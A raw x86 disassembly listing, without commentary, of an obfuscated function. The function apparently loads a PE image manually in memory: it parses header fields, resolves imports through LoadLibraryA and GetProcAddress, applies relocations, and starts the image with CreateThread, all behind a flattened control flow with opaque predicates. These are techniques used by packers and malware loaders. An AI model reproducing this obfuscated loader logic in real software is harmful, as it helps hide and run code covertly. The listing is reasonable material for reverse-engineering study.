jne 0x401c80
mov eax, dword [ebp - 0x2c]
mov eax, 0x41602751
jmp 0x401c80
cmp eax, 0xb51d82f6
je 0x404ab7
cmp eax, 0xb53e0749
jne 0x401c80
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x184]
lea ecx, [ecx + ecx*4]
lea eax, [eax + ecx*4 + 0x10]
mov dword [ebp - 0x188], eax
mov eax, 0xd55c0bdb
jmp 0x401c80
cmp eax, 0x761be09
je 0x404b30
cmp eax, 0x7aea2dc
jne 0x401c80
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x148], eax
mov eax, 0xb4f5e8e1
jmp 0x401c80
cmp eax, 0xc7079bef
je 0x404b45
cmp eax, 0xc7b790b3
jne 0x401c80
cmp byte [ebp - 0x69], 0
mov eax, 0x4cb60292
mov ecx, 0xc218c9a6
cmovne eax, ecx
jmp 0x401c80
cmp eax, 0x4901abd2
je 0x404b5a
cmp eax, 0x491d0d2d
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xec891db0
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x8eabb644
jmp 0x40526a
cmp eax, 0x87af1a29
je 0x404b97
cmp eax, 0x891d64c9
jne 0x401c80
mov eax, dword [0x483468]
mov esi, 0x5d7e2b12
mov edi, 0xdc198579
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xdc198579
jmp 0x40513e
cmp eax, 0x25492a1a
je 0x404ba7
cmp eax, 0x26866f45
jne 0x401c80
mov eax, dword [ebp - 0x34]
mov dword [eax], 0x40
mov eax, 0x2dc9a65d
jmp 0x401c80
cmp eax, 0xe531ea5b
je 0x404bb7
cmp eax, 0xe5b3429c
jne 0x401c80
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x1a4], eax
mov eax, 0x63085e9e
jmp 0x401c80
cmp eax, 0x67d22d45
je 0x404bef
cmp eax, 0x6bd1ae50
jne 0x401c80
mov eax, dword [0x483468]
mov edi, 0x1162cb15
mov esi, 0x8bbd112d
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8bbd112d
jmp 0x401c5f
cmp eax, 0xa4ee9aa8
je 0x404c05
cmp eax, 0xa677a7e3
jne 0x401c80
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
add eax, dword [ebp - 0x140]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [eax]
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax]
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0xf4], eax
mov eax, 0x1841c461
jmp 0x401c80
cmp eax, 0x10b41f37
je 0x404c0f
cmp eax, 0x1162cb15
jne 0x401c80
mov eax, 0xf0c34b60
jmp 0x401c80
cmp eax, 0xd448dbf4
je 0x404c19
cmp eax, 0xd4ab674f
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xfc2ff80a
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa9302d22
jmp 0x40526a
cmp eax, 0x592ff49c
je 0x404c4d
cmp eax, 0x599bd40e
jne 0x401c80
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov ecx, eax
xor ecx, 0xbfffffff
and ecx, eax
mov eax, 0xfac3e84a
mov dword [ebp - 0x1b4], ecx
jmp 0x401c80
cmp eax, 0x9865a753
je 0x404c9c
cmp eax, 0x98c07d3d
jne 0x401c80
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0x3619cd89
mov edi, 0x38b92636
jmp 0x404a6c
cmp eax, 0x3619cd89
je 0x404ca6
cmp eax, 0x3897c18e
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xcebe670d
mov edi, 0xd1d394fb
jmp 0x404153
cmp eax, 0xf83cfa41
je 0x404cbc
cmp eax, 0xf8a0bd81
jne 0x401c80
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x100]
mov edi, 0x42c38bad
mov esi, 0xeadfb62
cmp ecx, dword [eax]
mov eax, dword [0x483468]
lea ecx, [eax + 1]
setl byte [ebp - 0x68]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xeadfb62
jmp 0x40533f
cmp eax, 0x7d033272
je 0x404cd8
cmp eax, 0x7ea25297
jne 0x401c80
mov dword [ebp - 0xdc], 0
mov eax, 0xff84f946
jmp 0x401c80
cmp eax, 0xa9302d22
je 0x404da2
cmp eax, 0xa9a4e95a
jne 0x401c80
mov eax, 0x43a7ce17
jmp 0x401c80
cmp eax, 0xff84f946
je 0x404daf
cmp eax, 0x1461b9
jne 0x401c80
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x158]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0xfc], eax
mov eax, 0x66ae950f
jmp 0x401c80
cmp eax, 0xbc3d44b2
je 0x404de9
cmp eax, 0xbcad955f
jne 0x401c80
mov eax, dword [ebp - 0x58]
push dword [ebp - 0x10c]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x60]
mov edi, 0x2fbfddd7
mov esi, 0xf612f4d5
mov dword [ecx], eax
mov eax, dword [0x483468]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xf612f4d5
jmp 0x401c5f
cmp eax, 0x3cbeab5a
je 0x404ebf
cmp eax, 0x3e140f3b
jne 0x401c80
mov eax, 0x1c9f0cea
jmp 0x401c80
cmp eax, 0x81a585e5
je 0x404edc
cmp eax, 0x82b05890
jne 0x401c80
mov eax, 0xd7af2b46
jmp 0x401c80
cmp eax, 0x1b0cc008
je 0x404eef
cmp eax, 0x1b2150ab
jne 0x401c80
mov eax, 0xec02ab9b
jmp 0x401c80
cmp eax, 0xd853391c
je 0x404f02
cmp eax, 0xd89bed7b
jne 0x401c80
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0xe0]
mov edi, 0x1cb7d827
mov esi, 0xa1712f26
cmp ecx, dword [eax + 0x1c]
mov eax, dword [0x483468]
lea ecx, [eax - 1]
setne byte [ebp - 0x65]
imul ecx, eax
mov eax, 0xa1712f26
jmp 0x405337
cmp eax, 0x5da216c1
je 0x404f3e
cmp eax, 0x5e38e96c
jne 0x401c80
mov eax, 0x1b9b3a34
jmp 0x401c80
cmp eax, 0x9c0e9bf4
je 0x404f64
cmp eax, 0x9cdc2a90
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xd853391c
jmp 0x404f1b
cmp eax, 0xc151c1b
je 0x404fa6
cmp eax, 0xca9713a
jne 0x401c80
mov eax, dword [0x483468]
mov esi, 0x2a621d5e
mov edi, 0x4a940654
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x4a940654
jmp 0x40513e
cmp eax, 0xcda14411
je 0x40508d
cmp eax, 0xce1f6e97
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xd347ba28
mov edi, 0xe15bcefc
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xa8]
jmp 0x404178
cmp eax, 0x4c9e6ca7
je 0x4050a3
cmp eax, 0x4cb60292
jne 0x401c80
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xc
mov eax, 0x5bb0b5da
jmp 0x401c80
cmp eax, 0x8ae4b299
je 0x4050b9
cmp eax, 0x8bbd112d
jne 0x401c80
mov eax, 0x6bd1ae50
jmp 0x401c80
cmp eax, 0x2dc9a65d
je 0x4050dd
cmp eax, 0x2e06f26e
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0x58b35ffe
mov edi, 0x871ccf1b
jmp 0x404153
cmp eax, 0xed91bff7
je 0x4050e7
cmp eax, 0xedd2c7b4
jne 0x401c80
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
add eax, dword [ebp - 0x164]
mov ecx, dword [ebp - 0x104]
mov dword [ecx], eax
mov eax, 0xf73208ce
jmp 0x401c80
cmp eax, 0x7134a53a
je 0x4050f1
cmp eax, 0x71ee87e9
jne 0x401c80
mov eax, dword [ebp - 0x11c]
mov dword [ebp - 0x120], eax
mov eax, 0x47ca15ff
jmp 0x401c80
cmp eax, 0xb4cf8f1a
je 0x405107
cmp eax, 0xb4f5e8e1
jne 0x401c80
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x148]
cmp ecx, dword [eax + 0x34]
mov eax, 0x757cd658
setne byte [ebp - 0x66]
jmp 0x401c80
cmp eax, 0x3a18d47
je 0x40515d
cmp eax, 0x65985f1
jne 0x401c80
mov eax, dword [0x483468]
mov esi, 0x28f33322
mov edi, 0xb3893800
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xb3893800
jmp 0x40513e
cmp eax, 0xc54c3e18
je 0x405181
cmp eax, 0xc65d146e
jne 0x401c80
mov eax, dword [0x483468]
mov esi, 0x3ec32f68
mov edi, 0x2b8e8211
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x2b8e8211
jmp 0x40513e
cmp eax, 0x463623ef
je 0x405196
cmp eax, 0x47ca15ff
jne 0x401c80
mov ecx, dword [ebp - 0x120]
mov eax, 0xff84f946
mov dword [ebp - 0xdc], ecx
jmp 0x401c80
cmp eax, 0x875e4f53
je 0x4051a0
cmp eax, 0x87a74753
jne 0x401c80
mov eax, 0x5b933f39
jmp 0x401c80
cmp eax, 0x22bc0155
je 0x4051b3
cmp eax, 0x2513525c
jne 0x401c80
mov eax, dword [ebp - 0x30]
mov eax, dword [0x483468]
mov edi, 0xec02ab9b
mov esi, 0x1b2150ab
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x1b2150ab
jmp 0x401c5f
cmp eax, 0xe28642be
je 0x4051f8
cmp eax, 0xe511bae3
jne 0x401c80
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0xf8]
mov edi, 0x9865a753
mov esi, 0x81a585e5
cmp ecx, dword [eax + 4]
mov eax, dword [0x483468]
lea ecx, [eax + 1]
setb byte [ebp - 0x67]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x81a585e5
jmp 0x40533f
cmp eax, 0x671ae1d9
je 0x40523c
cmp eax, 0x67450298
jne 0x401c80
mov eax, dword [ebp - 0x20]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x40]
mov eax, 0x9555b168
jmp 0x401c80
cmp eax, 0xa3598dc5
je 0x405282
cmp eax, 0xa3b9c6a9
jne 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0x5d3bc7f1
mov edi, 0xd17b6fcc
jmp 0x404153
cmp eax, 0xf90c26a
je 0x4052c1
cmp eax, 0x1069e10f
jne 0x401c80
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp dword [eax], ecx
mov eax, 0xf3750b84
setl byte [ebp - 0x6b]
jmp 0x401c80
cmp eax, 0xd3d7390c
je 0x4052cb
cmp eax, 0xd423aa1b
jne 0x401c80
mov eax, dword [ebp - 0x34]
mov dword [eax], 0x20
mov eax, 0xd853391c
jmp 0x401c80
cmp eax, 0x56782dd8
je 0x4052e0
cmp eax, 0x58b35ffe
jne 0x401c80
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xa
mov eax, 0x871ccf1b
jmp 0x401c80
cmp eax, 0x956c86ec
je 0x4052f5
cmp eax, 0x969535fd
jne 0x401c80
mov eax, dword [ebp - 0x134]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 0x14]
mov edx, dword [ebp - 0x28]
lea eax, [eax + ecx + 0x18]
mov dword [edx], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, 0x864dd48
jmp 0x401c80
cmp eax, 0x34dd5d4f
je 0x405313
cmp eax, 0x35414c21
jne 0x401c80
cmp byte [ebp - 0x68], 0
mov eax, 0x39ee06d2
mov ecx, 0x22bc0155
cmovne eax, ecx
jmp 0x401c80
cmp eax, 0xf73208ce
je 0x40531d
cmp eax, 0xf76a075a
jne 0x401c80
mov eax, dword [ebp - 0x2c]
mov eax, 0xa19a3f8d
jmp 0x401c80
cmp eax, 0x79a995a8
je 0x40535c
cmp eax, 0x79edd4cc
jne 0x401c80
mov eax, 0xbc3d44b2
jmp 0x401c80
cmp eax, 0xaf6a83d5
je 0x405372
cmp eax, 0xb138c0ca
jne 0x401c80
mov eax, dword [ebp - 0x24]
mov eax, 0x895b88d7
jmp 0x401c80
cmp eax, 0x1fad3b3
je 0x405387
cmp eax, 0x22cc53d
jne 0x401c80
movzx eax, word [ebp - 0xd8]
and eax, 0xfff
add eax, dword [ebp - 0x168]
mov dword [ebp - 0x104], eax
mov eax, 0xedd2c7b4
jmp 0x401c80
cmp eax, 0xc05012f0
je 0x40539d
cmp eax, 0xc089dde6
jne 0x401c80
mov eax, 0x89fa4183
jmp 0x401c80
cmp eax, 0x41602751
je 0x4053a7
cmp eax, 0x42c38bad
jne 0x401c80
mov eax, 0x35414c21
jmp 0x401c80
cmp eax, 0x84e6238e
je 0x4053f8
cmp eax, 0x868a34b0
jne 0x401c80
cmp byte [ebp - 0x70], 0
mov eax, 0xc54c3e18
mov ecx, 0x9cdc2a90
cmovne eax, ecx
jmp 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0x32986c5d
mov edi, 0xab083d09
jmp 0x404153
cmp byte [ebp - 0x65], 0
mov eax, 0x39ceecdc
mov ecx, 0x54d457fa
cmovne eax, ecx
jmp 0x401c80
mov eax, 0x891d64c9
jmp 0x401c80
mov eax, dword [ebp - 0x7c]
mov eax, 0xe724ea03
jmp 0x401c80
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x1a0]
mov dword [eax + ecx*4], edx
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x94]
mov eax, 0xaf6a83d5
jmp 0x401c80
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xbc]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x1c4], eax
mov eax, 0x5ff43a66
jmp 0x401c80
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0xe4], eax
mov eax, 0xa33e9272
jmp 0x401c80
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xe0]
mov eax, 0xd89bed7b
jmp 0x401c80
mov eax, 0xbfbdcc2f
jmp 0x401c80
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x100]
mov eax, 0xf8a0bd81
jmp 0x401c80
mov eax, 0x6feac6a5
jmp 0x401c80
mov eax, dword [ebp - 0x1b0]
mov edx, 0x599bd40e
mov ecx, eax
xor ecx, 0xdfffffff
test ecx, eax
mov eax, 0x26866f45
cmove eax, edx
jmp 0x401c80
mov eax, 0xe531ea5b
jmp 0x401c80
mov eax, dword [ebp - 0x90]
mov eax, dword [0x483468]
mov esi, 0x5c143315
mov edi, 0x3a18d47
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x3a18d47
jmp 0x404586
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x2c]
mov esi, 0xa9a4e95a
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
lea eax, [edx - 1]
jmp 0x4046f3
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
add eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0x5c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0
mov eax, 0x491d0d2d
jmp 0x401c80
mov eax, dword [ebp - 0x16c]
mov ecx, dword [ebp - 0x2c]
add eax, 2
mov dword [ecx], eax
mov eax, 0xf90c26a
jmp 0x401c80
mov eax, 0xe5b3429c
jmp 0x401c80
mov eax, 0x78285f35
jmp 0x401c80
cmp dword [ebp - 0x118], 0
mov eax, 0x7ea25297
mov ecx, 0x8926d96d
cmove eax, ecx
jmp 0x401c80
cmp byte [ebp - 0x66], 0
mov eax, 0x9c0e9bf4
mov ecx, 0x8074a018
cmovne eax, ecx
jmp 0x401c80
mov eax, dword [0x483468]
mov edi, 0xccd55fc
mov esi, 0x463623ef
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x463623ef
jmp 0x401c5f
mov eax, dword [ebp - 0xfc]
mov ecx, dword [ebp - 0x2c]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, 0x8fc9ead5
jmp 0x401c80
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, 0xa3598dc5
jmp 0x401c80
mov eax, dword [0x483468]
mov esi, 0xab0e0cb1
mov edi, 0x9d4febf7
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x9d4febf7
jmp 0x404586
mov eax, dword [0x483468]
mov edi, 0x9a501311
mov esi, 0x25492a1a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x25492a1a
jmp 0x405337
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0xe511bae3
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x81a585e5
jmp 0x4051e2
mov eax, dword [ebp - 0x20]
mov dword [eax], 1
mov eax, 0xdb0c791a
jmp 0x401c80
mov eax, dword [ebp - 0x1b8]
mov edx, 0xf0c34b60
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0x7f3cad94
cmove eax, edx
jmp 0x401c80
mov eax, dword [ebp - 0x94]
mov eax, 0x2a621d5e
jmp 0x401c80
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x11c], eax
mov eax, 0x71ee87e9
jmp 0x401c80
mov eax, dword [0x483468]
mov esi, 0xa21aecdd
mov edi, 0xc11757c9
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0xc11757c9
jmp 0x40458e
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xb3893800
mov edi, 0xcb969658
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, esi
cmp dword [ebp - 0x84], 0
mov eax, ecx
sets byte [ebp - 0x6d]
jmp 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0x338c843
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x6f09ad67
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
mov eax, dword [ebp - 0xd4]
cmovge ecx, edx
inc eax
mov dword [ebp - 0x108], eax
mov eax, ecx
jmp 0x401c80
mov eax, 0x6c393fea
jmp 0x401c80
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x5c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0x94]
mov dword [ecx], eax
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x3c]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*4]
mov ecx, dword [ebp - 0x58]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x19c], eax
mov eax, 0x9a75fa19
jmp 0x401c80
mov eax, dword [ebp - 0x38]
mov eax, 0x87af1a29
jmp 0x401c80
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x190]
lea eax, [eax + eax*4]
mov eax, dword [ecx + eax*4 + 0xc]
add eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0xb4]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x58]
mov dword [ecx], eax
mov eax, dword [ebp - 0x58]
cmp dword [eax], 0
mov eax, 0xc7b790b3
setne byte [ebp - 0x69]
jmp 0x401c80
mov edx, dword [0x483468]
mov eax, dword [0x483464]
mov esi, 0xf612f4d5
mov edi, 0xbcad955f
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, esi
mov eax, ecx
jmp 0x401c80
mov eax, 0x67d22d45
jmp 0x401c80
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x4c]
mov eax, 0xb4cf8f1a
jmp 0x401c80
mov eax, dword [0x483468]
mov esi, 0x7f9b578b
mov edi, 0x2c25acc
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x2c25acc
jmp 0x404586
mov eax, dword [ebp - 0x188]
mov ecx, 0x2e06f26e
cmp dword [eax], 0
mov eax, 0xe28642be
cmove eax, ecx
jmp 0x401c80
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x3c]
inc eax
mov dword [ecx], eax
mov eax, 0x491d0d2d
jmp 0x401c80
mov eax, 0x78285f35
jmp 0x401c80
mov eax, 0xe03d6a0b
jmp 0x401c80
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x108]
mov esi, 0x813ed465
mov edi, 0x84e6238e
mov dword [eax], ecx
mov eax, dword [0x483468]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x84e6238e
jmp 0x40513e
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
mov esi, 0x10b41f37
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x25492a1a
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x24]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x138], ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
mov word [ebp - 0xd6], cx
jmp 0x401c80
mov eax, dword [ebp - 0xe8]
mov edi, 0x4f6fd71b
mov esi, 0x3619cd89
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x128], eax
mov eax, dword [0x483468]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x3619cd89
jmp 0x40533f
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xa4]
movzx eax, byte [eax]
mov byte [ebp - 0x71], al
mov eax, 0x6590a802
jmp 0x401c80
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x38]
mov dword [ecx], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov dword [eax], 0
mov eax, 0x710632d2
jmp 0x401c80
mov eax, dword [0x483468]
mov esi, 0x75f17e38
mov edi, 0x463623ef
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x463623ef
jmp 0x40513e
mov eax, 0x5da216c1
jmp 0x401c80
mov eax, dword [ebp - 0x34]
mov dword [eax], 2
mov eax, 0xcd2328e2
jmp 0x401c80
mov eax, dword [ebp - 0x30]
mov esi, 0x5e38e96c
mov edi, 0x32986c5d
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
inc eax
mov dword [ecx], eax
mov eax, dword [0x483468]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x32986c5d
jmp 0x40513e
mov eax, dword [ebp - 0x34]
mov edi, 0x79edd4cc
mov esi, 0xa9302d22
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, dword [0x483468]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xa9302d22
jmp 0x401c5f
mov eax, dword [ebp - 0x20]
mov esi, 0x3bd0b4c7
mov dword [eax], 7
mov edx, dword [0x483468]
mov ecx, dword [0x483464]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x875e4f53
jmp 0x4051e2
mov eax, dword [0x483468]
mov edi, 0xba3ac770
mov esi, 0x875e4f53
lea ecx, [eax - 1]
imul ecx, eax
mov eax, 0x875e4f53
jmp 0x405337
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x150], eax
mov eax, 0x1e8d3d92
jmp 0x401c80
mov eax, 0x2513525c
jmp 0x401c80
mov eax, 0xd4ab674f
jmp 0x401c80
mov eax, 0xd17b6fcc
jmp 0x401c80
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x8c]
vxorps xmm0, xmm0, xmm0
vmovups xmmword [eax], xmm0
vxorps xmm0, xmm0, xmm0
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xac]
vmovups ymmword [eax + 0x20], ymm0
vmovups ymmword [eax], ymm0
mov dword [eax + 0x40], 0
mov eax, dword [ebp - 0xac]
mov dword [eax], 0x44
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
vmovsd xmm0, qword [eax + 0xa0]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x50
mov dword [ebp - 0x110], eax
mov eax, 0x40e13c6a
jmp 0x401c80
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x164], eax
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0xd8], ax
mov eax, 0x22cc53d
jmp 0x401c80
mov eax, 0x93a4f35d
jmp 0x401c80
mov eax, dword [ebp - 0x174]
add eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
